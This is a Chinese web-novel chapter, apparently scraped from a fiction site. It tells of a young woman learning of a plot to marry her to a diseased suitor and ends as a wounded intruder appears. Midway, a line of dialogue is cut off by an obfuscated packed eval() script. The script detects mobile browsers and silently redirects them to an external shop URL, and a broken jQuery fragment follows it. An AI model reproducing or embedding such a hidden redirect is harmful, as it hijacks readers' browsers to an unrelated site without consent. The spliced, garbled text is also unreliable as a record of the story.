文趣网 > 其他小说 > 遇良缘:携夫君封侯 > 10. 身陷危局?
    刚刚她与妹妹在府里散步,正好碰上了回来的嫂嫂,愿意带她们过来与马玩,还让马不许凶她们。

    这马能听懂话,真的不凶了。

    嫂嫂好像不是旁人口里的恶妇,也没有那么可怕。

    朱兆和揉着屁股,摆摆手,顺坡下驴,“若锦乖,大哥不会跟个畜生计较的。”

    他眸里的惊艳和渴望被人看进眼底,手上传来温热的触感,一只有力的手掌抓着他,试图放在马背上。

    下意识后退一步,却是分毫未动,用力抽手,根本抽不开。

    眼里满是怨怼,这人心里到底有没有数,自己若是被踢了,第一个拿她是问。

    “我在。”柔和冷冽的声音在耳边响起,悬着的心瞬间变得安稳,他任由人带着他的手动作,不再畏畏缩缩。

    手掌下是顺滑的触感,好奇地睁开双眼,星河坠眼里狡黠一瞬而过,朝着他张嘴打了个大大的喷嚏。

    身后是温热的怀抱,朱兆和一动未动,面上镇定,若是忽略迫不及待松开的手,就更像了。

    “待哪日天气好,我们去草场跑马。”

    “谁稀罕,骑马?谁不会是的。”

    “漂亮嫂嫂,若锦不会骑马,若锦也要骑大马!”

    “嫂嫂,我,我也想。”朱若萱脸红红,她一直待在府中,甚少外出。

    朱家家训,女子无事不可流连在外。除了出去采买一些珠宝首饰,或者参加宴会,她们几乎都是在府里待着的。

    朱府已经算对女孩很是优待的宅邸,并未完全拘着。

    很多高门小姐,从出生到出嫁,真正能出门的机会少之又少。连基本的采买都甚少能亲自前去。

    即使出席全女宴会,也是点对点,中途不能下轿或马车。

    嫂嫂可以出门一整天游玩,她心里羡慕极了。

    若是自己外出这么久,早被训了。

    嫂嫂看着很凶,母亲和爹爹好像都不敢管她。

    朱兆和哼了一声,双手抱胸,别开面去,心道还是太宠家中这俩小妮子,尽拆他的台。

    天边最后一缕霞光消散,一群人各自回了自己的处所。

    夜幕下,飞鸟巷中,黑衣男子脚步凌乱,双脚重于千斤般难以挪动,衣裳上全是斑斑点点的血迹。

    追踪的脚步声越来越近,男子看着不远处,撑着最后一口气,跃进了院墙之中。

    昏黄的房间里,一妙龄女子正坐在镜前梳妆。

    女子生着一双杏眼,眸子水润光泽,在烛火的反射下,泛着点点星光。

    这会儿,头发完全散了开来,柔顺乌黑,披散在身后。

    白日里学了一天的骑马,当时只觉得兴奋,如今疲乏袭来,苏芷蘅瞬间感觉浑身酸软,头昏脑胀,“书桃,给我按按头吧。”

    梳着两个总角的小丫鬟在剪灯芯,一动不动看着烛火,一剪刀差点把烛火剪灭。

    见她这副神游天外的样子,苏芷蘅放下手中的木梳,“书桃,书桃?可是乏了?”

    “小姐?奴婢就来。”

    “给我按按头吧。”

    书桃定了定心思,将剪刀放下,走进了些,轻柔地给人摩挲着穴位。

    想着白日里无意中听见的小道消息,书桃不知道该怎么给自家小姐说。

    主子的事情,下人们不能乱嚼舌根,没头没尾的,说出来,可能会给自己带来祸患。

    再则说,她也不确保信息的可信性。

    这座府里,人人都有着自己的算计。

    为何她经过时正好就听见了?她不过是去饭堂而已。

    “啊,书桃!”

    苏芷蘅眼睛被戳了一下,带来酸涉的不适,眼泪就这么流了下来。

    书桃见此慌忙跪地求饶。

    “你今日到底是怎么了?”

    苏芷蘅揉着不住掉泪的眼睛,倒也没有恼怒,只让人起来,满脸狐疑。

    小丫头心思灵活,精明能干,从小跟着她,未曾有过今日这般笨拙之时。

    书桃低着头,一时之间不知要如何去说。

    “到底发生了何事?你说出来,我们一起想办法。”

    书桃跺跺脚,在心里组织了下语言,将今日无意间听到的消息一一道来。

    “小姐,如今一点风声没有传出来,我不确定信息的可靠性。三房的人一直不安分,我也不确定是否为圈套。为何奴婢路过时这么凑巧就听着了,平日里夫人不说对小姐多么亲厚,也未有太过苛待。”

    白日里,她去用午膳,路过一处假山时,听见三房的丫鬟柳儿正与一人在闲聊。

    许是说到忘情处,失了顾忌。

    柳儿无意中听到三夫人与四小姐的谈话,据说丞相夫人对于苏芷蘅一直纠缠萧元宸一事不满,有意早日将她嫁出去。

    萧元宸一直没有定下婚约,先前是因年岁未到。如今却是因前两年的谶言,说来也巧,正是在将军府拒旨之后,淑妃在皇家寺庙上香祭拜时,偶遇一云游道士起卦。

    谶言曰,萧元宸在二十二岁之前不能成亲,即使定下婚约也不可。否则,将活不过二十二岁。

    淑妃只有这么一个儿子,不管是真是假,是否权势算计,终究是不敢冒险。

    娶妻晚些又何妨。谶言不是还有下半句吗?

    若是二十二岁后再娶妻,后半身将平安顺遂。

    如今,萧元宸与苏芷兰两情相悦也算是人尽皆知,却碍于命理之说,一直未曾明言定下婚约。

    离萧元宸二十二岁还有三年,苏芷蘅一直未歇下心思,所谓烈女怕缠郎,反过来,也是同一个道理。

    如今,苏芷兰要等,但其他人可以不等,丞相夫人本就对她不满,在三房的挑唆下,难保不会有什么心思。

    “原是如此。”

    “小姐,你怎么反应这么平淡?若是你现在嫁了人,不就不能与三皇子在一起了吗?”

    “婚嫁之事,向来不由自己做主。这是身为女子的悲哀。左右现在尚未明面摆出来,还有余地。”

    “据柳儿所说,夫人打算在婚事上做文章,将您嫁给柳府的公子。柳府虽门庭煊赫,柳公子却是个花天酒地、招蜂引蝶的,若您嫁过去,今后的日子可怎么过。”

    “花天酒地,不归家也好,我又不喜他,还省了应付。”苏芷蘅内心悲哀,却也无可奈何。自古以来,媒妁之言,父母之命,若是定下亲事,除了能选择自裁,她还有什么选择吗?

    书桃见自家小姐不放在心上,下意识左右看看,有些难以启齿。

    “我有一相好的姐妹在柳府当差,据说柳公子荤素不计,如今得了花柳病。柳府瞒得严实,这才不为外人所知。小姐,此事,你莫要与人说道,否则,恐给我那姐妹招来杀生之祸。”

    “什么?”刚还强装镇定的苏芷蘅闻言,大惊失色,踉跄退后几步,方稳住身形。

    双肩垮下,双手握成拳交叉抱于胸前,心里一阵后怕。

    书桃说,不知道消息的可信性,可前两日,娘私下说,府里有意给她相看婚事,只是碍于大少爷苏慕和与二小姐苏芷兰均未成亲,直接跳过两人先一步成亲有失礼法,这才尚未搬到门面上,若说空穴来风,两桩事如此巧合?

    “小姐,此事虽还未摆在门面上,但据柳儿所说,夫人已经在请媒人私下卜算

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17635922|206580||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    庚帖。待过了门路,就决定定下婚约。”

    “此事隐情不为外人所知,这可如何是好。”

    苏芷蘅浑身冰凉一片,一时乏力,再也站不住,滑到了地上。

    “小姐,你怎么了?”书桃想要将人扶起,却是如何也搀扶不动。

    苏芷蘅浑身乏力,瘫软在地上,她放弃似的,趴伏在地,想要找回一丝力量。

    “小姐,你莫怕,还有姨娘呢。再则说,这事儿也许是三房的挑唆之言,凭着往日夫人的为人,想必也不是真的。”书桃泣不成声,若是真结了这门亲,小姐的一辈子全毁了。

    “我娘?她性子羸弱,无甚主见,又能如何。”

    “小姐,一定会有办法的,一定会有的。夫人可能是不知道柳公子的情况,若是知道了,想必是不会应这门亲事的。”

    “傻丫头,她怎会不知。母亲出自国公府,消息何不比你一个丫鬟更为灵通。她是有意毁了我,有意毁了我。”

    苏芷蘅蜷缩在地,眼泪不住的流淌。

    “书桃,你下去吧,我想自己待一会儿。”

    “小姐,你别躺地上,地上凉,会生病的。”

    “下去吧,先下去吧。”

    书桃闻言,一步三回头,不放心,却也没办法,只得先退了出去。

    苏芷蘅抱着自己的身体,想要再汲取一些温暖。

    如今初秋,地上寒凉不已,不管她如何抱紧自己,满身的冰冷仍是包裹住了她。

    她的心很冷,吐出的气似乎都带着寒气,她的身体也很冷。

    寒意顺着与大地相接之处,不断被她的身体所吸收。

    背脊受寒,她生理性打了个冷颤,渐渐恢复了神色。

    混乱的思绪,也渐渐回了笼。

    这初秋啊,真是太冷了。

    踉踉跄跄从地上爬起来,她缓步来到院子里,望着如水的明月,如果能够选择,做一轮孤月,做一片浮云,也好过做这身不由己的人。

    她叹息一声,尚未想到破局之法。

    地上乌黑的影子,随着她的走动,也一步一步挪移着。

    舅舅每年都要给府里一大笔银子,娘亲不受宠,有银子吊着,也没有到过不下去的地步。

    她想着,不用担心娘亲,左不过最后就是一个死。

    是啊,左不过就是一个死。

    想通了这层,她倒是有些冷静了下来。

    白日里在马场的情景迸射进她的脑海,女子骑在高头大马上,身影鲜活灵动,那时候好欢乐。

    在她的身边,好温暖,好安全。

    想着这些日子以来,她不厌其烦陪伴自己,还从未有人对自己这般好过。

    又想到她所说的话。

    如因帮助过自己,便一心想嫁予那人,她对自己这般好,这般真诚,自己是否也应嫁给她?

    对于萧元宸,究竟是报恩?还是见色起意,不顾廉耻?

    她再也不能像以前那般理所当然地说服自己。

    哎,人啊。

    她轻叹一声,转身想要回屋。

    一声沉闷的重响猛地从身后五步开外传来,她一惊,快速回转身,许是脚滑,抑或是其他缘故,就见一黑衣人翻倒在地。

    空气中,似乎多了一丝若有若无的铁锈味。

    黑衣人用手中剑撑地,挣扎着爬起,听着动静,视线转向苏芷蘅这边。

    剑身在月光下明晃晃,蜿蜒的血迹布满整个剑身。

    她攥紧袖口,突然的变动,令她指尖冰凉一片。

    脚步被定在原地,极度的害怕与紧张,使她动弹不得,嗓子喑哑,未能出声。